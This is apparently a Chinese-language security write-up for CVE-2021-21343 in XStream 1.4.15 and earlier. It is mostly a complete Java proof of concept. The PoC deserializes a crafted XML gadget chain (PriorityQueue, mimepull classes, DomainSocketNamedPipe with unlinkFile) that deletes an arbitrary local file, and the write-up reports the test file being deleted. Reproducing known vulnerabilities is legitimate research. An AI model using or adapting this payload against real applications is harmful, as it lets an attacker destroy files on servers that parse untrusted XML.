0x01 漏洞详情
XStream是一个Java对象和XML相互转换的工具。
XStream基于在解组时处理的流所包含的类型信息创建新的实例，攻击者可以操纵处理后的输入流并且替换或者注入对象，从而导致可以删除本地主机上的任意文件。
0X02 影响版本
XStream <= 1.4.15
0x03 环境搭建
使用maven创建该环境。
0x04 POC参考链接
参考官方给出的POC链接： https://x-stream.github.io/CVE-2021-21343.html
0x05 POC编写
import com.thoughtworks.xstream.XStream;
public class CVE_2021_21343 {
public static void main(String[] args) {
String xml = "<java.util.PriorityQueue serialization='custom'>
" +
" <unserializable-parents/>
" +
" <java.util.PriorityQueue>
" +
" <default>
" +
" <size>2</size>
" +
" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
" +
" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
" +
" <packet>
" +
" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
" +
" <dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'>
" +
" <part>
" +
" <dataHead>
" +
" <tail/>
" +
" <head>
" +
" <data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'>
" +
" <len>3</len>
" +
" <data>AQID</data>
" +
" </data>
" +
" </head>
" +
" </dataHead>
" +
" <contentTransferEncoding>base64</contentTransferEncoding>
" +
" <msg>
" +
" <it class='java.util.ArrayList$Itr'>
" +
" <cursor>0</cursor>
" +
" <lastRet>1</lastRet>
" +
" <expectedModCount>4</expectedModCount>
" +
" <outer-class>
" +
" <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
" +
" <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
" +
" <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
" +
" <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
" +
" </outer-class>
" +
" </it>
" +
" <in class='java.io.FileInputStream'>
" +
" <fd/>
" +
" <channel class='sun.nio.ch.FileChannelImpl'>
" +
" <closeLock/>
" +
" <open>true</open>
" +
" <threads>
" +
" <used>-1</used>
" +
" </threads>
" +
" <parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'>
" +
" <sockClient>
" +
" <fileName>E:\JavaProjects\CVE-2021-21351-test3\test.txt</fileName>
" +
" <unlinkFile>true</unlinkFile>
" +
" </sockClient>
" +
" <connectionSync/>
" +
" </parent>
" +
" </channel>
" +
" <closeLock/>
" +
" </in>
" +
" </msg>
" +
" </part>
" +
" </dataSource>
" +
" </message>
" +
" <satellites/>
" +
" <invocationProperties/>
" +
" </packet>
" +
" </indexMap>
" +
" </comparator>
" +
" </default>
" +
" <int>3</int>
" +
" <string>javax.xml.ws.binding.attachments.inbound</string>
" +
" <string>javax.xml.ws.binding.attachments.inbound</string>
" +
" </java.util.PriorityQueue>
" +
"</java.util.PriorityQueue>";
XStream xstream = new XStream();
xstream.fromXML(xml);
}
}
0x06 POC复现
首先创建一个test.txt文件，然后POC中指定所创建的test.txt文件的绝对路径。
如图：左下箭头所指为创建的test.txt文件，右侧箭头所指为test.txt文件的绝对路径。
直接运行POC中的代码，如图：所指定的test.txt文件被删除，即证明存在漏洞。
